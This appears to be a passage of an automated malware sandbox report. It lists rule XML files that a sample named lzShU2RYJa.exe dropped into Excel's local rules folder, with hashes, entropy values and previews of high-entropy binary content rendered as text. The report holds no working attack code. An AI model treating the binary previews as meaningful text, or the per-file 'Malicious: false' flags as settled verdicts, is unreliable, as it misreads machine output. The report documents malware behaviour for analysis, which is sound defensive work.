Preview:	<?xml-@1...._.i.\|D'm...n......p...=....g.N....p....tA.......Mr..r.>9D.."..p.>.\|.z.un:4PaK..p.o....H..XC.^.%....[..K?p......B...!H..(dnT%a1(<.S..d..o..Z..L`\|.../5q....e.U..u..~F...N< r..}..e.......YH@.#..^~..&.....o..5~...0+E....j.g ......4..r.v[.)5.MNjd..sK..D...f..'.N.%.....\|.}...~..f..;..b.Z........z.#~...=7......5~0..S_..cg+......N)...q...1C...dV......gi..O;...,.;.]L...-l Bp.D...(..$...%...?..%n..A.....-.yx..T9.l...Hq2.d.......x...:...<....X\|...0......$}..w..R...MP3....qv....~..=:.<.D .y....(.............@h....;....B.....U.GHGe...Z?G..D.."L.P...;.0.Q.T.e.Z(l.?f..r..G]./....$...B 1.4:..Wf.......(..i..!.)..".$...K.. ..i..E...Y.l.a........-"..V...f.0.....r,..Oz...M.../;~.:J..-....W....l.y\|V.9.............N...s..+..Y..Z./.M..-...t..>...3.5.D..c.<..l....9.$....i...R..j:j.=...U.,A.5....&I:Loj...];JVK.x........K.1.yC.....!........{3o3.p.. N.W...)....."..#.."@.b.....>,1Z.@r^.~h.q..I.P..\|.....a....{d.....f.'.T."f....p.sP.8..8......x_0...U....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.803441282058309
Encrypted:	false
SSDEEP:	24:aWLFTYKOAuSAZqTDAoW4ac/ed6ierP3Vo/syVbD:jqKgS+e9W4toerPlo/syFD
MD5:	08873406A6E3841F8E618D62BDE1789E
SHA1:	1EE3FEC4603CDC43B0439415106395CF782BF3B1
SHA-256:	FD067C24B5A21DB1D85B7905A1B8803A66072E20B79A300E7B591B4D4306B077
SHA-512:	3A9CA90E0BD9206D988B519AAB7AA0780DC4772E41209DAE2CAD7DEBD7B31DF600EE3A283AF091D95B8A742C007D02FEA26FCFA2D7110F00B834A503E31B8F60
Malicious:	false
Preview:	<?xml....zGSV....v.@..p.N.........<...[..BB.%...G........"O..._5<.5..+...v..rf...d.....jG.#.:.]oT3_.?...}......w....U..Q"U}?^..+5.VAS........{T...+..uo.. ........[H.`.E.t.Y...A..6.e..z...7.Z+.qL...'.}.U...:.?e....%~R4........2.,..%.tANL...U....N..o&+~'p../P..].......&...%.b........Ev.ysw.....%..:T....{....q...v..o..M...\|......`.n..=....4R.V_.......HK.&.(...1.t.....a>..a%&#.....$.j3..i..;........-$...?...\.......9........7.}.m. '...'....Hd....L)F....o....v..B..i=.U.%.....i...gs:.<j.s...... ).:.,..h4.c.y.ib..Q...F.....9._Y$jkIo....(.~Z........fA&.<..........=.jn....v..."..Nk.-...T,=..e.IEB...... .c..G.+.PMx.=..=6`..&.K..9.6.2.o.....t.6=cQ.........\|)...\|\|..k.1..lh.>..X....o9..p/...\~....X.q,./...n.;.<.."..CY..+t..'.....'o._.Mt5..6h.g..j.......C..+.'.#..P.3.c\.%...P....e.......Y..vT.I.o..mc.^..@...R.(dG._...f..1-..KZ.F.L....]h.&H..t.+..HK..5M.aT)b.$...52.j.y..).........u.0.........d..8.>..~.. FX.....EE@x......5....O..lz.-d.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.778760389071651
Encrypted:	false
SSDEEP:	24:AI+ZFR2nvmXQ3PPRQT//CztqswzQ714k1AlkNWu/E6VbD:AI+7R2nvAiRQz/3sH1lA/oE6FD
MD5:	0D39254B5C0AD4BEA661E47D81169FE6
SHA1:	4A48FE8F0E57A84245D11A4405240DD8CAD76C81
SHA-256:	C77C15915F8CF06841C24F226D16D07FB3F5A37723EA81ECB79BE7390301A91D
SHA-512:	6729B69D1341949B54C4D47455897CC0CCB592B3EB7CD44EEF74DCF1D2E52647E22C8A172D52F9F71B939AFAC46FE0DEE1B9644052D64213E467B9249FB84D2D
Malicious:	false
Preview:	<?xml}..v.. ...A....q...#}.E..eg.7...........J%....ByQ..;...zwq..g..!.s.eK.l..Ph4d5I........q.M.....g...FB..7...2.}...&i......,b.XN._NddPt..q(..>.y=.....p.......c.e.4v.?.vJ]....O...../Jf.N....7.......8.._#../i/.T.....FY.R~x.;....{Qm.v=..S.k.s.\.o.e../..0\|.@....n...Y..a.y..W..0R......qJ7...k...y(.....Y^..".....l..^.qx......4LI...i.....YE....\h,..O"..$.y..qa.~.0K..K......j...E......A...[....Mr,...U...bN.M.;...O.?...v....p.j..........R........Vb).b;......:Oy.oC2.e....r.......v...Z.{..=...X/......1....z..7.Y....Hy..j..qu..C:3......./.W.r.Y>1~.Z.z...+.........wS....d..1S...0..n.....KLJh..m............w=n.QB.._.[.D..b....)Gj..O.T..=3#.L.D.V'..).....F\Y&G[C..f..@J.s4.I.x..3o7#..1.w..(.3.\2S*Cq.ppm.gT0..'K......u#5o..Q..`.3.`..Hs._,..e..^..o...lf3.Eftd......B...`eH....Od:k}...E... .f.@..g..O.T./!.L...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.797183323598626
Encrypted:	false
SSDEEP:	24:QdUL4qHbwunKD1FtgdCFcO3xsGjdAH3I7hEGIZ27XLcWc/SKw7ENVbD:Qd+HUBB0H4OZSXLfiSj4FD
MD5:	855C401FF5BBE0C9E2660AFB51BADD2A
SHA1:	A924D5A93A4F9C80BA66F26216087D039DF30BA0
SHA-256:	E9B18C1D16B9F7C0F3193DEF61DD846D0A091DED2E4E9C7C47F4AC2CA833F812
SHA-512:	AAE56AD30265A983B0C76229E5292E1C9624E48C08CDE046CB3078A2117FFE5E52FAAA6DAA09AD40A5D687638CFCCDA90192CEBB4AA4B5A324666D04CE9C0C80
Malicious:	false
Preview:	<?xml.Q.~../..U.7M%o.C/.......u..8F.fNh1..Y....v%.M.. Po..K.....?..t<...f..[#...99.....O...a.".;..lY.Ca.A...F.$@v...yy:.W.%..?.t.....'.D<efr/L.)..+@t../y.$2...A...5x2}....;8gh...m.....O..@.....j...`T..!...b.N...%C\|.~@.[6P.`.....K.'}....W.k.)...k......0..s..........,.?Hl.j.......d.x!)...aAp'L>.+.......Im..(......H.%.~ 4u..<.....7._."...i.=......$.B....H.y.klG..<q.?/..+@...p.R.....BT6~...g..,...\|+..=...4(?...+...>`............z..6P(.6e.By.i..}.....EbQzEA;u.s..q.aj..$M....".p.....f..K......E8..'H.Bp.9..W.n.M.nF.8zL. ..8...JKm...3........O$...8..8-....8&.a.UW..Mu5.......J...#>78..q9.?...g..... b.E...\|.(..n.B..%;#`..mCF.f.1.OY0..&A....../.......v.[n).)..X]b..p...&k6\+.$.r.d.~V....g88..N ...x...pH.....O...z.cGo..G.n.f-.b7.<..&&f./..K..E.....=...l..g....2....jj..B...N.k.n.J..?h,EJ"6..n,..u.....Yp......'[P.C..X...r...~...u.n9..TA.P...6K....t+"0.J...2)X...E...?.)..$H=ij.........q.....k...M...........MZ.`..(Z@n..T..r......\...(8....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.854466381689633
Encrypted:	false
SSDEEP:	24:5oN4KzCcfvxm0HBxFKBUll7UAHA88rX4C7t9wh7IzHLnrWcVbD:5oiKzbdFKUll/He4CnScFD
MD5:	65D3F1DF226BD31D67198CD129AC6662
SHA1:	A0B09B76234DF4C0ACB1C43C271A0EFF5767CDCE
SHA-256:	B1E6B8DA4DC0B7FCF2BDC4A674E5148F3CD4B685CA6905345E365C6A3EC5C227
SHA-512:	1A9E5FAB66E1C20F84FE2701229E376D76803E1008F5A8B78650154DEFC415BD912DBAE07F292E76B409998E233092E77A3B57E319AF9F02ED2C99D5862BF19D
Malicious:	false
Preview:	<?xml8D..1>S..z...p.2..............0yJ:_.....J.y.o....C..B..Z...A.x...8...H.....).N..<.jm....Fj.]...I...lC\|........J(...A..%......%.L....1.Fn{.}Xh.e...X.. .`....;.r..U...If..l...ZQ7.X......R.0VR.S..\|5'.SF~.T.W.`}.#`.z..y:..F."+.`.KL.....s..X..0.zm.d...l.<.......st......G.U....a......2..F../j~....?8..QyOp..Ec.(Ps<..y.Y3}......R........L.qLv....d..[%(.o...{.(.............~}.$g9.B........E.3.L.T..X.....Gkwq..We........,...n...2\.f~....T.&.q./..A..^}.....n+[B.4K.@....y..4......$.....~H.....au1.H`1c....>...e..Hh......Nq.T... !..qyV..........p@.>...R3e.Z..._.V.*.t./...3.;...A...R..k4[..m.4.Iq...n+B...H.<`.t...oo...\|..R`.....5..yd..[]0$Hu....G.......c.9.......J?...!#.G`a.)....?Y..AqL..V....,..".Wp)...e)_Fp .....\..+......'.-U'.G...L..u@q...9...p......9-"9..SF...<W..a.P..$.eZ..`....Q......j..=..xVh.}\|,...7U.K0.<.2..<i.Te..R..<....5.5.....O...?....F.J....K0......S=.9.P.Pk+.J..#.[L...5..SN..'..k({Q.ii5...1....U......:...P..R..D-.X.y..."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.7555164695914005
Encrypted:	false
SSDEEP:	24:kGAWwgIVJT3ydP2tnJUMkkgvgTFK3Ay4nv+rhVbD:KwIV4P22gTFKQrn2FFD
MD5:	D290F1F8E571FDC3C40404A4F014087E
SHA1:	E62A9A52F3020F84D70DA9BB4DF7BCBA26928AE8
SHA-256:	43308EA2AC3B87B08A8669BDECCC193AA7BB85C6909950A03EFF74C5425397E1
SHA-512:	595D67B02996313227545B6D37BCF9CEBACA867D08BFEF1BCBF943026F1B076842CAA9EF1687265BF0D8ED9562CDE7397DBAAAB27CBCDA952B9BAC27FB1F75CF
Malicious:	false
Preview:	<?xml".VO._....7..N..(..F.c....F...b..J........U..80.....".,k.lc...14.?3DY'u.a[.0./.8.~..dFc.s..s.....!a=t.."...w.w.........ZL}..o.iX..y..K...L.......L..U..a...+.Wn.2...;H3r..>......4.....%'.2.{..w...^.'X..^........:.?..t.62E..y........~.pr.t....,.n...&Yz......<.2q?..h.8t.1......(...j..G.A..;.'.vu.NK.U....xU...p..H.j`9....z..,.t7..=...$i.NN....3@.m...x`...W...P~{h.....U.u.F.)..B.....\|/..\&..1E."...Y..0..!...W.S....QI....&xE..f.?...U.....$.W!.q.....4..V g$'...#H.>TBd......1.nM...-...{.lF5.....9..E.kG.G.D".k7tC@...Q.l]...KB..K..QOb. ,I.g..]q[.&J 6.t'.XR.-.....d[1..tk.AN.d[7..w......mP....C:8B.~..=.t.....@.....f\...T....s..xS.....qVp....%..}.E....C<>....5,.`..{..i...rHV.......{.g..2_=...f...#...`]>.v.3.Um.j.e.u!.%.$...@....\|.J.......7'.....<=c..$..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.7100298427258105
Encrypted:	false
SSDEEP:	24:A6YHnkountJ2DkKLSAE0y0P9BeojtBCVbD:4koutA+6YFD
MD5:	30D563FE9443109FF8A39C2BD89E3E64
SHA1:	306F5B7B23BE0AB96EA4922ACBC388DA57C9D49D
SHA-256:	7E5EFA8E58F2C5D8F6C2D32A30296D77AB1EDDA6398029C8AA0C2B9597071559
SHA-512:	23C5ED81D4674B9235004BBCFFE11F858F6F62E0D44CC7F6330E8259A9FC9CC6B4C3A95E195968CB80114CA6AC32A396CFA17B1065ADF38EEEB656934C76C92D
Malicious:	false
Preview:	<?xml3.x.(...f.s.....f].y..${...C.:..A.....I:.J...2.1.4UYIO.3..6@..K....:Fb.[F.........x...M..u.)ve;.....C...6.`.C..gU.v..p....E.s..c....R.4.E....k...:....C.md\|./..G..e.P.....D,.D.Z.W...$lk.Dhb. .,.....j...L.2?..8...3^H..f..(.....Vwf..:"..+..R..+...k.xTqf..M^....4.....8.-.."uC...dO.?..J/8......W.....j\...[{.>.l....y.....+..+..Y....Z..H.b~..K=.d.U..a.....-.[...Kwd.......f.......M.6....,.<..;...aNr.."-.......A..:.K...D.\.......U...2..i.b.m..j.gQ.6...h..3......y.pI*.w.eA,.=`...e#....<'F..L{.[i.{8.f..-S.9.{uLlX............,T...z..2x.<.=.,.ZO...}.j...R.q..K..a'.HE.+.l....y.&!Ci20%.O.c............LY...1..y...P..~...a.k.w...4Dvs{bh".?s.Y..2h..<.e..;..w<...>..<.....m....ij.tlT...S...J_.u{.c..R,Hp5...Km........9...=....O%.DG.....G..u....}itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.780663556419117
Encrypted:	false
SSDEEP:	24:OyBDrUKJyF0AONr0cPdGzy//ArB9kCJmVbD:3BDrwF0AONAcPdGzkArBOCJmFD
MD5:	93144D15E91426354E9F06CC70085BEF
SHA1:	FE4E4571E92BAF08CBD431CE061A887F89FE1333
SHA-256:	1FD2096B4CC14C2EBDF33B0DBB9A0BC4F031708A7F5D3594B40F56A91D19A725
SHA-512:	FC81E239F271A5AB792F9BDEE7F0B62AB4E07466AAAB3E440E527D7285FB037EB14EA8408613561EFE3C8B34BBF2E03983BC93A49F8B0E4CBA11FD5E0ACC95FE
Malicious:	false
Preview:	<?xml.h!....M.(u(l..A.....~.....ex....K.W.5.9...j>.q....4..6...`.....z:X..1!./.P.\.7..(.^......!./D..s..j@/Hr..N&..b.x..B..v...Z..hs..........N.D....h..w.....'v.-....&.K,T.....J5.,.[{n..tr%...H.ii..h[.....J..K..o%as......6.Ky~C....C,Y....a..UH.esI..?vW'.@`2.e0.nEh.M.].."....o.V...x..k2.D...e..b!.B...n....!.D.:...."..>.^E...$[.Lt.~....lo9.'..=.B......2.I....:..B~._. X.._.1.'.nP".p..$..7. ...+.....=..,.2..?..E]d....j....G.1X.G..7!.Q?.Dl...Md........n.L........>.m\|v..QI...v..(1.7.:........H......3V.d.M....l.AUL...[i....t..`.p.t.,.....K.4....Y..qq....F..)XX..v..[.-.u.TOn..._.........}.>.u...r}.z[n.`..r..J@...b..1.9.....;....h.%<0..C...{..6.H.)gpy....\|[..J..>.B.z.<......ON....D..'.J............NI.o..5..x.....@.@.r9.2.....$..#.D..R.<...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.812874485843233
Encrypted:	false
SSDEEP:	24:WsDSkJjG1xSfPq3h8cFr748Hk+zYcyOAZL7Fk73IVbD:rDBU1xMSOcJ48Hk+zYcyOAQ74FD
MD5:	F9CBA3B3469916F6047CD939F7474E80
SHA1:	F25AEA9398E4D54B99581469F54017F88BEF4511
SHA-256:	1FB37FF00144E57DAF49FF1BBF60381C7D9401F14A0926BC499A4906E6262B85
SHA-512:	5D1E1427C21DBA007DED0A57B3505172E7C77D2940E38C6ED4A828C100357190AE4D0F64FAA0F01839328ED0E26E0185D16388E4603BBF1279AB15CF3592E260
Malicious:	false
Preview:	<?xml....g.\...t<;.....=D&).....B.#..Us[.F..h..%..(......K,.U..m3...=....l.<..G..Cn.....K.h...c.[zc.p...m>.g.o.H...wa..V....,<"1..P..Yf... .>.g..2.VH..N.h.5.WT......dW$...x..t.."l$..'0}ld.?_+.u....6... .a.N...\|..g..9.\.t!..m...V.<....'....(O.h...Z..C~...kHb_A1.xt-.Z7.ha7.P^..z=.h1..!.-..3\.J.l.<.)...n.F.....r...W..,... .\|.=.T...`....8.w`6.q.!...?..]>...c.P?Z.....#X.Z.o4......i.h.x\|7.?.&..T..+.CW..~...?.<...+........iko...#W.QK...Y..u.F.M{N.D.2xs8.g0.X;.27.p.?D.[...n0..Ox..._......+......V.z...X..\x\...KA/<s..ei....@..XA..Hk..:..W.M...^.].......Y..A_o........L.eVTcI........s2d...J0?......g..}.;../K.......R..~_R.E.%...C..t.....<.b........R....li..G.)w..!....i.a.4............@...86r..XG...L...].(.^.c.......F>.0{._.rs.n ..}=...V...6.R....E.;Eo...C.}..C...c.T.......i.U/j.~..1z..y/Yi\|0..X.\.....{.2>G.n.3;.d........;.Zn..I..M>.5..<.G.,.0>..e.ty.\|.......\........R&...PF..2"H(...=.Z...W.F;,M.....rb.D.X-!.qq.IF?#.\|$4z..f_itkm7MOsOlVQkbEQhWCVE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.717017612903415
Encrypted:	false
SSDEEP:	12:BzLlsEFbxFP7rTKaEnzIFUZBtm8quwSwvjXwEOsB6IohGGg5lHjVcii9a:9JsEtFP7szFNquwhjXLtgVhs5lDVbD
MD5:	AFC629AF51455B91EE591BE4EC34621B
SHA1:	B61882F207E87B88E39E35D38D54511B35750CDC
SHA-256:	271A01CA40E977C091BC582551CAAD6638D6BD877E03B95921CB8D57EA8D1D2B
SHA-512:	ED1423A430D2C5FE0F4F7E79E56A93BC75DACFEF0CC3189CA2ED410E22E95082B991CEB01AD37F308575216D0C7FAA246E459135D68CC0CE08ED9363594C6BD1
Malicious:	false
Preview:	<?xml........M.w......zV..&...}.....R@........"..A.....N8.>..,..c7a.^..E<...N....V.7.(.\|5.t{.>).!.x.+].-.....ep-.A..~D@3_......T..\. ..K.u$.......k7!.3..b.N...m.....^..HCT....8n..'...C.B{..;.!.X....5..j.&.F9..3N\]..}@....?d!....I.1.-h##0d.3.7..f.)., ..I...-........M.).;.e.W.f.<!u...Iq....^...........x..Nk...o.-.W..v.eHr..Y.T.n..g&...L..uO..t.I@...K...!.P.....\|..N.......z:%.1k..../o..T.lt.....-....%3...............~:X..!yMc..Y^l@Jv.v..!k.B.w.Gx'..6k......$......I.9\|hR..n..=.Pz..q..6Oi.."..\.35..T...b+...o1x...D=...u. p.m.`...'..7!2..F.)Q...n6...t.^M.B.po.&.%.-..`.H.@......ti.:....y.....(..7.'{...Kf$.#L)mEu5.UR.:......b..}X..?...G.cg..e.^}.zh.../uY.+Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.812977603720603
Encrypted:	false
SSDEEP:	24:JDXgttNjKbm3WtFqW+vlmnzPgY1Tdg/Tlfpn/NjoK6WSbxcsU0VbD:JDWvjlmtFj+vEcYRdcZfp/CK/Sbl7FD
MD5:	68BF3FE2D9B0F6CAB549A03211521B96
SHA1:	8D10BFE2ADE4C73D81905F0627980A3FC4CA9D2B
SHA-256:	B91A2055664D3223DF41F7DE29ED58B367799B7E0BC53AE30506810563C69580
SHA-512:	02753C65A20788A369907D24CB925DE570D0EB7B0F5630336872BF11971FB6515A8A125A0486221E75CC87ADB7FA374F9A65BAC1A0B92BEFC0331707E4CF0530
Malicious:	false
Preview:	<?xml.[z.....+..v.}!..(...,V...2.[Fb.Ki...-#..a.$.I.GK.0.....1..MY5.;S..........N.\|\o.S#n.Y..a......W.$$B4@.......J..N...2r8..8Y.kO9.:.e(...rr..$4..'lK.S.....v.....hX.P....[...V....]...8.~...}.D..?y.2j.AG.a.o..f>....v.h.AX9.1...e.G..=.F..Ln.).-....u..7].A..j:.....KO.{F}..-...lr......C..I.>W$..b.......C... .....+.......2.U#.[.....Mx.;V.qt.rc......)...].....;`...h.>.hZ...z..[N.....e...R.........h."...Je.....c..] ...h.....dgMs.)..k[..h.....t..WX_vk.cQW^.U.7.Q(.."........%...J...jK,.....}..xx1....\|w......3..E?.0l.....B.3wqB.R..W...,...hr.&..M.....<.K.........8..].O..#..v.K...5.a....=..'.L......*....\.^..G.h..e...K...t+h...........;.}...u8.....Z8."U..$.....`.B5..P N..l .%.v.M.....T.nu..'.=......+..8>.5...}..L.n..ml.s..C8.a.E.3..M.$...1.@.l.yd7..}.'<.$....S6.~.\....cL@...b-9P....YN..u.........(...$w..E...@q#..<@..b._=..._.n9.M....r........+>..#....S..ef....8.[4...6U5..)K.K.Z.gH...G..6~...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.767698067747115
Encrypted:	false
SSDEEP:	24:ppz3Jkb2qT/wRXs6IHm8uYQCj3Are45ypwOZzPr3bXVcVbD:z36Squs6IG9YQVe4YiEXTiFD
MD5:	E739BA2B939225FD7D44C14F40138A36
SHA1:	89675F7B89A9CC724F690B28931065E3DD16C738
SHA-256:	3AE271050BA5B5DBC1A97F2628766E70B4352705C985B9667BAEEDE1A2CDDB3B
SHA-512:	09BF5D976787889A4F9C5915E39BA387EF51C44A7EB6FAD62A403D20D1D86E2E53D9877AC5AB2DBA6AC61EBB8F57F814FCF01FDFC6D34B10C9E177F2953601BC
Malicious:	false
Preview:	<?xml.N...r.....r{.......k..QA..y....`'..y}Pw.$Jv....]..}2....7.a.....<..^...(..].${.\..g...I-g3....qy+.;[..7....#.....A.q.C,.1.T.........O....oZ..\...}c......H..W.z_Qy..X-.z..b.....k..l.1..... N..Q...`.X..`.re.P/.;.=.....'........w4M..K.....YOQ~.c...f.i.u.zosq,.s....<W.}.`uF..I.}8.=...W.T.....H..z.....\....n`$L...."8....w..(.......sI..w.).i.&.(..c.t.y..#wv{.c(......B.&N.R.....h.b.T.....7...p..v/Y? n.V.WQ@.h..:...,...~.j..).b(x.V.B....;.z~.[.}2E ....>.w.7.Y.*.5.w^.....I..RW._..((..x.!...!.Q..d=Kz..2...u...KcW..xm....a....$...........RKq.W3............o]z......9...H.f\.....8.Y..+.q...~B.A,....[.oq.n..b)`.e]...Q+..].n....P..LD..O.........?^..R.wq..V..Y2G..p...j.\|..T^.XSf9..}..S,bx.i.'xqI..k....d\./.w.k.Q..)tY.}U\....q.H.....3.l..h.9........M..,....+..d<..E.~.>.n~A.A...cpm... ...y.....#....,.Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.800139869628092
Encrypted:	false
SSDEEP:	24:ugzrd91JkcS9uhJpc2AKkeDlYTXhUi1fcQWAuP/mEftgVbD:ug1JkNY3TjDloa2cQWfXLgFD
MD5:	736EBF769F66E5D17E99EF73F5066E33
SHA1:	EB022AE55BCB4C67B0D722F3A22B2A325D3818CB
SHA-256:	A987110A6568B2A7481E5BE52B4C26500523CD8813A685476204CFE44A43A539
SHA-512:	21764813C47A779DF9AF7F18E01E3AC48030AF1E1A1E99F7B7B12DA705061FD862FD747F543FFD074DCF49808CA720B22616148A27C25A5F30E0FCED3A437B63
Malicious:	false
Preview:	<?xml.(4......qy..8.v2....T..A..j."3tH...."......v..l.f.i...!$..}....x.=..M..\.3...7g..3K.l~.F5[.3.Et..N.h.,..e.e.B..Z.k..-.+...Z...o..L.....p.2..l....]...\.....f....0..y...z.H....Y......(=@@&.X8..g....SS...K0j...E6..t.MK~........Sj.....u......O6.a.F..L..j.B..w.Gv....B.g...(...2_.mz....P....G.........S...@ET8uvF:..k..v.......#..g.hu.G.4s...N.........ZP.P.s...t..j./jh'...AUijnD..+4q.i....G..K....K+B.......m.....}L...g...8.....-.bH....(.L....2!8C.`$.....v8..e.#H.......E.\|...@..f..Ro...MR.D.-.Z....I.J..^VV....a....._b,=<4{.......S.N8.Ae/...{9..F.....0.....tq..z~...d.7.;.......)........w...\|..r9....).W..xkg..rQ......Q..R.H....).....w)2.\.}6...X.g....E...?..WBS..rl3.C=.="r.z.7..E...tR8)....5.I..n.kU..\|,\f?.....I.v..4S+..^....l....s .R.A......x.'...uo.X.'.......G.K6..<...o.m...;6y+L.)x.&..?.2=).....-...h...Cue..q..p.n.!.0:b.IR.~6g#5B=; +g.k...... 4....=c.7H-...:xl&VM.^....l\|.d.[1.+..P.Q.Ek.<..H.j))8.bo....(.)...*6.{..........QF......v.R.P^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.821975700326345
Encrypted:	false
SSDEEP:	24:YhPCh8MyQIev0rB23ilx+fO5SlZLM/dDRqPJ0F1WhdiU78NXZKbC4FxF4VbD:SZr7eEMyw1lZA/d8aFCsUTdFxF4FD
MD5:	6F09DE8577501958613FA6333384E971
SHA1:	8CBDDB2E38ED6112548BC5E3D834B719F03B501E
SHA-256:	5ED0BB07187B726280467316B291440271085C3650D5CA4723F323EE69B99A14
SHA-512:	577A973CC067EFDFA623E703B70A536C2204E39536C52F047BE18109AA527D960433E8EF2CA712FC16606F6067062125473247B609DAABCD73E91E06D9422442
Malicious:	false
Preview:	<?xml%....{.........,9....^.T.J.....j..5..h..G.s.>.r.....&.nI...w...#.}^.....,..j..D3..iWFU...z..;M.'....f.....5....n14-..Z....n....k....e........$)\)..).h.......$.7g.k.s,.)X..V.=Kr..Y...........{S.!.Z...k. ...B...........X...Q.d......'.'<...}.rY.q..x..."....mE...F4.....+G."..j\|..........d.&...<.....&...@.mm..)......./52w..a....b.13.pa.f<..,jJ......t..M.7.5. '.)...).T5.-.y.b..y~.........g.C......&..m.4 ..H...E$<(..."_@.`..R....y....x........k."e1.[ .m..'.4..5.E;.^bP.=(n`6%...Cr..wcU.l.$...6....._....X...9H..r...8g...XY.,...B.. cM..]..p..............29.$T..&.........i/..+.]...0....5P......V..F....o.c....@.....!...,.}..._^tG...p4.=.f....a.9..t..l?.uW...{$..6.7....{.]...p..o.>R5u....mj..K...5&9..0..._._(*73r.[..^.{..P.W>...g4}=....r,.9..3...I8h\|t...Z.x.B...YM....JD..8...s({E.p..K..J..1k...2f.a..5......c.:.`w......./.T.J.#..a.F.]..&.g(..o.=2...LLv..oOL..>+...W..M..wu70b0...=..3..V...M...2...2S..e.d..=l..1f9j...Xl.;. .a...lX...I...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.7965820976953415
Encrypted:	false
SSDEEP:	24:l02PCXsn8JIsHY8PRFlsEzHmvHppxuBPVa/K15Vzb0OlqCkS6CVbD:XPD8JPY8PRoOsppxw8K15FgRS6CFD
MD5:	2B60CFD637401C13464E56698B55A69E
SHA1:	FE95215111C7F8167AD26E15E8A1EDC379ED89EB
SHA-256:	6FEE6C62A0228912935F859C5B67D1846C3FFCA903D0A00DDE702318B0710BC5
SHA-512:	7D80D2A51F6245214FE7CFAD7D0CAED1C0DA4CD5BE98D0ABFA161C4A454740A92E2E7CA00769167CF27734FE99149F856869163C1A439F2D6B15C0A16240BA0B
Malicious:	false
Preview:	<?xml[q.bc.W"....@..{..."}....3.m...B6..V....o!@...^.:o.&.h.E...VP....~.mh.i.s.h..?.c>.1[).4`....B..g....SP...e.p..?.2F0......O.q........t.1......L\...W.......V..}.Kx....lf...d..8{K.M.....v...<.j.F....4..w.,bn{.H....t=.v.......B.C...m...~..TZ...<.^t9.&...~...jB=..y...%.{.~DM.I...<C..].5.?m...}.O..Y.a....h.)..z..!]Q...Ha95.-...Z.=. P%..b...k....F.....4.Y.-..G.Qd......<.k.....[.jGb.>.a.X...`..$o...&.L...)..].i.cF;.'L..._h.E(..Fw)...#}.]+...PA.;.@..Y...B 